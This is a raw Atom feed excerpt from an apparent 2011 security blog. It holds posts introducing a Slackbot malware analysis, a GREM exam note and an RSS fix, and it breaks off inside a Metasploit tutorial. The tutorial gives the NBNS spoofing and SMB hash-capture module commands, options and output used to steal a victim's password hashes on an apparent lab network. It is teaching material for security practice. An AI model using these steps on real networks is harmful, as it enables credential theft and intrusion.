sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;+++++&lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now at this stage, we have studied potential ways in which this bot interacts and have collected sufficient information about it. The behavioral analysis phase can be paused for now and we can proceed to the &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html"&gt;Code analysis phase&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-533620272379389356?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/533620272379389356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/533620272379389356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/533620272379389356'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html' title='Analyzing malware [ slackbot ] - I'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-0mxMJLeIv98/ThQ53zhvkbI/AAAAAAAAAmo/YlbxlbdKbWs/s72-c/md5_1.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-6964128912129649614</id><published>2011-07-10T03:47:00.003+05:30</published><updated>2011-08-03T03:47:58.036+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Lenny Zeltser'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware cheat sheet'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering books'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Reverse Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='malware lab'/><category scheme='http://www.blogger.com/atom/ns#' term='Dissecting malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware books'/><title type='text'>Analyzing Malware - begin</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hi folks,&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In the upcoming posts, I will presenting a step by step process to analyze a piece of malware. I will be analyzing Slackbot. It is an old bot but nevertheless, customizable and useful in learning the malware analysis process.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;One of the most important things to ensure is that all of the analysis is performed in a lab network. The lab network must be isolated completely from the production environment. Another crucial point is to use virtual machine snapshots during the analysis. Snapshots allow you to revert back to a clean copy of OS &amp;amp; machine set up during and after the analysis.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is a general topology of the network set up I have used for this session:&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-efgIMaR0s18/Tha42k9Jk-I/AAAAAAAAAos/HVFb7Mocy8E/s1600/Drawing1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="268" src="http://3.bp.blogspot.com/-efgIMaR0s18/Tha42k9Jk-I/AAAAAAAAAos/HVFb7Mocy8E/s640/Drawing1.jpg" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Set up the host network on &lt;a href="http://en.wikipedia.org/wiki/VMWare"&gt;VMWare&lt;/a&gt; / &lt;a href="http://en.wikipedia.org/wiki/Virtualbox"&gt;Virtualbox&lt;/a&gt; and configure a DHCP server for this subnet. The hosts connected to this network be assigned IP addresses from this pool only.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Lenny Zeltser [&amp;nbsp;&lt;a href="http://zeltser.com/"&gt;http://zeltser.com&lt;/a&gt;&amp;nbsp;]&amp;nbsp;has w&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;ritten extremely useful post and a cheat sheet for &lt;a href="http://en.wikipedia.org/wiki/Reverse_Engineering"&gt;Reverse Engineering&lt;/a&gt; malware. It talks about the approach analysts should take, various phases in reversing &lt;a href="http://en.wikipedia.org/wiki/Malware"&gt;malware&lt;/a&gt;, tools you can use in each step, how to use the tools, time saving techniques using tools as well bypassing malware defenses in response to reversing. A very good read, get it here:&amp;nbsp;&lt;a href="http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html"&gt;http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The analysis I am gonna post is based on Lenny's cheat sheet above. Here's the reversing methodology:&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;General Approach&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Set up a controlled, isolated laboratory in which to examine the malware specimen.&lt;/span&gt;&lt;/li&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;li&gt;Perform behavioral analysis to examine the specimen’s interactions with its environment.&lt;/li&gt;&lt;li&gt;Perform static code analysis to further understand the specimen’s inner-workings.&lt;/li&gt;&lt;li&gt;Perform dynamic code analysis to understand the more difficult aspects of the code.&lt;/li&gt;&lt;li&gt;If necessary, unpack the specimen.&lt;/li&gt;&lt;li&gt;Repeat steps 2, 3, and 4 (order may vary) until sufficient analysis objectives are met.&lt;/li&gt;&lt;li&gt;Document findings and clean-up the laboratory for future analysis.&lt;/li&gt;&lt;/span&gt;&lt;/ol&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you are keen on starting up on or polishing your reversing skills, following is a list of few books. I read and refer to these books for practicing reversing and malware analysis as and&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;when I get time out of projects&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ipositiv-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=1593272898&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="align: left; height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&amp;nbsp;&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ipositiv-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=0470613033&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="align: left; height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&amp;nbsp;&lt;iframe align="left" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" src="http://rcm.amazon.com/e/cm?t=ipositiv-20&amp;amp;o=1&amp;amp;p=8&amp;amp;l=bpl&amp;amp;asins=0764574817&amp;amp;fc1=000000&amp;amp;IS2=1&amp;amp;lt1=_blank&amp;amp;m=amazon&amp;amp;lc1=0000FF&amp;amp;bc1=000000&amp;amp;bg1=FFFFFF&amp;amp;f=ifr" style="align: left; height: 245px; padding-right: 10px; padding-top: 5px; width: 131px;"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Another awesome learning resource is SANS 610 Reverse Engineering Malware [ GREM ] course. You can have it via self-study, live onsite or vLive [ over the internet ].&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Read more on the class here:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://zeltser.com/reverse-malware/"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;http://zeltser.com/reverse-malware/&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.sans.org/security-training/reverse-engineering-malware-malware-analysis-tools-techniques-54-mid"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;http://www.sans.org/security-training/reverse-engineering-malware-malware-analysis-tools-techniques-54-mid&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Click to read my post on &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;Analyzing Malware - I&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Your comments are welcome.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-6964128912129649614?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/6964128912129649614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-begin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/6964128912129649614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/6964128912129649614'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-begin.html' title='Analyzing Malware - begin'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-efgIMaR0s18/Tha42k9Jk-I/AAAAAAAAAos/HVFb7Mocy8E/s72-c/Drawing1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-7474739508085476301</id><published>2011-06-21T09:30:00.004+05:30</published><updated>2012-01-30T01:09:58.454+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='GREM'/><category scheme='http://www.blogger.com/atom/ns#' term='GREM Exam'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS 610'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='GIAC'/><category scheme='http://www.blogger.com/atom/ns#' term='Passed GREM'/><title type='text'>Passed GIAC GREM Exam</title><content type='html'>&lt;span style="font-family: Verdana, sans-serif; font-size: small;"&gt;Hey guys, I passed GIAC GREM this June 05, 2011. GREM is the Reverse Engineering Malware [ SANS 610 class ]. I find the RE stuff pretty cool. You get to learn how to analyze web, doc, pdf, and flash based malware; plus the fundamentals of exploit dev, vectors and similar sexy dope.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.giac.org/certification/reverse-engineering-malware-grem"&gt;GIAC GREM&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you have any questions, feel free to comment n ask here.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-7474739508085476301?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/7474739508085476301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/06/passed-giac-grem_21.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7474739508085476301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/7474739508085476301'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/06/passed-giac-grem_21.html' title='Passed GIAC GREM Exam'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1042287605326148843</id><published>2011-04-21T06:03:00.000+05:30</published><updated>2011-04-21T06:03:07.719+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Subscribe'/><category scheme='http://www.blogger.com/atom/ns#' term='RSS Feed'/><title type='text'>RSS Feed url fixed</title><content type='html'>It's been a while I was thinking of checking why feeds were not flowing out. So I spent a few hours tonight [ it's morning now, GM ] and realized there had been a sort of loop issue b/w google feed setting vis-a-vis feedburner.&lt;br /&gt;&lt;br /&gt;The feed url is fixed now and I've added 'Subscribe' on the down left of the blog. You can subscribe to iPositiveSecurity using your fav feed reader.&lt;br /&gt;&lt;br /&gt;I'll sign off now.&lt;br /&gt;&lt;br /&gt;Take Good Care of yourself, people!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-1042287605326148843?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/1042287605326148843/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/rss-feed-url-fixed.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1042287605326148843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1042287605326148843'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/rss-feed-url-fixed.html' title='RSS Feed url fixed'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-8356637562906831231</id><published>2011-04-15T14:28:00.007+05:30</published><updated>2011-04-19T16:39:01.302+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Auxilary NBNS module'/><title type='text'>Metasploit NBNS Auxiliary FTW</title><content type='html'>&lt;div class="moz-text-html" lang="x-western"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Metasploit's NBNS auxillary module in action. I will be using Metasploit Express for the exercise. The objective is to gain access to victim's password.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;This video is based on Packetstan's awesome tutorial. Do check it out here for full details:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Let's begin..&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;First we start the Metasploit auxiliary NBNS module:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;b&gt;auxiliary/spoof/nbns/nbns_response&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-&amp;gt; NBNS queries are sent out as broadcast. So we will now intercept the requests and send our spoofed NBNS responses to the victim. This will poison the name lookup. &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;msf auxiliary(nbns_response) &amp;gt; show options&lt;br /&gt;&lt;br /&gt;Module options (auxiliary/spoof/nbns/nbns_response):&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp; Required&amp;nbsp; Description&lt;br /&gt;&amp;nbsp;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------&amp;nbsp; --------&amp;nbsp; -----------&lt;br /&gt;&amp;nbsp;&amp;nbsp; REGEX&amp;nbsp;&amp;nbsp;&amp;nbsp; .*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Regex applied to determene if spoofed reply is sent&lt;br /&gt;&amp;nbsp;&amp;nbsp; SPOOFIP&amp;nbsp; 172.72.5.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IP address with which to poison responses&lt;br /&gt;&amp;nbsp;&amp;nbsp; VERBOSE&amp;nbsp; true&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Determines whether to display responses&lt;br /&gt;&lt;br /&gt;msf auxiliary(nbns_response) &amp;gt; run&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;&lt;br /&gt;[*] NBNS Spoofer started. Listening for NBNS requests...&lt;br /&gt;msf auxiliary(nbns_response) &amp;gt;&amp;nbsp; &lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;As soon as an end-client sends out a name resolution query, our NBNS response server responds back saying it's the one the client is looking for. &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;[*] Packet Recieved from 172.72.5.139&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;[*] Regex matched PLAYGROUND1 from 172.72.5.139. Sending reply...&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; Now that we have controlled the name resolution, we can start rogue / fake services at our end - such as a file server [ smb ], and a web server [ http ].&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;The idea is to set up these fake services, and capture the hashes when the victim attempts to access them.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;Configure and start the following modules:&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;&lt;b&gt;auxiliary/server/capture/smb&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;msf auxiliary(smb) &amp;gt; show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Module options (auxiliary/server/capture/smb):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp;&amp;nbsp; Required&amp;nbsp; Description&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------&amp;nbsp;&amp;nbsp; --------&amp;nbsp; -----------&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; CAINPWFILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local filename to store the hashes in Cain&amp;amp;Abel format&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; CHALLENGE&amp;nbsp;&amp;nbsp; 1122334455667788&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The 8 byte challenge &lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; JOHNPWFILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The prefix to the local filename to store the hashes in JOHN format&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; LOGFILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /tmp/smblog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local filename to store the captured hashes&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SRVHOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 172.72.5.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local host to listen on. This must be an address on the local machine or 0.0.0.0&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SRVPORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 